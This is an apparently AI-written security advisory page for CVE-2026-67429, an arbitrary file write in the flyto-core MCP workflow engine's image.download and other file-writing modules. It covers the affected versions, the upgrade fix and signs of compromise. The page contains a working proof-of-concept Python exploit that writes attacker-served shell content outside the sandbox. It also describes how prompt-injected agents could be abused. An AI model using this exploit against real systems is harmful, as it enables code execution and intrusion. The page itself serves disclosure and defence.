NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-67429: Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)

criticalCVSS 3.1 10.0GHSA-2956-977x-2w3r

flyto-core, a Python workflow engine that exposes modules to AI agents over MCP, lets a caller write attacker-chosen bytes to any path the process can write. image.download checks its output against an output_dir the caller also supplies. Versions before 2.26.7 are affected. Upgrade to 2.26.7.

Published Jul 30, 2026 · Analysis Oct 25, 2026

What an attacker can do

In src/core/modules/atomic/image/download.py, image.download fetches a URL and writes the response to output_path. It confines the path to output_dir with os.path.commonpath, but output_dir is itself a parameter, defaulting to /tmp. Setting output_dir to / passes any target. The central guard validate_path_with_env_config(), which keeps writes inside FLYTO_SANDBOX_DIR, is never called. The file.write module does use it and refuses the same path.

The flaw is wider than one module. image.convert, resize, crop, compress, rotate, watermark, qrcode_generate, document.excel_write, pdf_fill_form, word_to_pdf, pdf_to_word and browser.pagination also wrote to a caller path with no check. Their output must be a valid image or document, but image.download writes arbitrary bytes from an attacker-hosted URL, which passes the SSRF check.

Every non-denylisted module is reachable through the generic execute_module MCP tool, with params chosen by the model, and through the hosted API. So a prompt-injected agent or a remote API client can overwrite config files, shell profiles, cron jobs, authorized_keys or Python modules, which typically leads to code execution.

Who is affected

flyto-core before 2.26.7 (pip package flyto-core), in any deployment where an agent or client can run the file-writing modules above. Check:

pip show flyto-core

Setting FLYTO_SANDBOX_DIR alone did not protect these modules, since they skipped the guard that reads it.

flyto-core

Ecosystem
PyPI
Affected
< 2.26.7
Fixed in
2.26.7
Check
pip show flyto-core

How to fix it

Upgrade to flyto-core 2.26.7:

pip install --upgrade flyto-core==2.26.7

The fix commit routes the output path of the image, document and browser pagination modules through validate_path_with_env_config(), so writes stay inside FLYTO_SANDBOX_DIR and the caller can no longer pick the base. The same commit also covers env-variable reads and env-derived API key forwarding, which have their own advisories. The sources give no other workaround. Keep FLYTO_SANDBOX_DIR set and run the process under a low-privilege account.

How to tell if you were hit

Look for image.download or other file-writing module calls in MCP or API logs where output_dir is / or another system directory, or output_path lies outside your sandbox. On disk, check for unexpected recent changes to shell profiles, cron entries, authorized_keys and Python site-packages, and files whose content matches a payload from an external host. Beam records agent MCP tool calls and file access, so execute_module calls with odd paths can be reviewed there.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.

Affected code

src/core/modules/atomic/image/download.py:

output_path = params.get('output_path')
output_dir  = params.get('output_dir', '/tmp')   # caller-controlled base
...
base_real   = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes
...
content = await response.read()                   # attacker-hosted bytes
with open(target_real, 'wb') as f:
    f.write(content)

commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.

This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.

Reproduction

Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.

#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def run(mid, params):
    from core.modules.registry import ModuleRegistry
    try:
        return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
    except Exception as e:
        return ("EXC", f"{type(e).__name__}: {e}")

async def main():
    from core.modules.atomic import register_all
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
    root = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # OUTSIDE the sandbox
    print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
    print("B) image.download:", await run("image.download", {
        "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
    print("file written outside sandbox?", os.path.exists(target))
    if os.path.exists(target):
        print("content:", open(target, "rb").read())

if __name__ == "__main__":
    asyncio.run(main())

Output:

A) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'

file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.

Reachability (why this is not operator self-service)

output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.

Impact

Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).

Suggested fix

Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.

Credited to kaimandalic.

Questions

Why does setting FLYTO_SANDBOX_DIR not protect against CVE-2026-67429?

Because image.download and the other affected modules never called the guard that enforces it. They only checked the path against output_dir, which the caller supplies.

Can the attacker write any content?

With image.download, yes: the bytes are whatever the attacker's server returns. The other modules write format-constrained files, but the path is still fully attacker-chosen.

Is it exploited in the wild?

No source says so. The advisory includes a working proof of concept and reproduces it through the running HTTP API.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries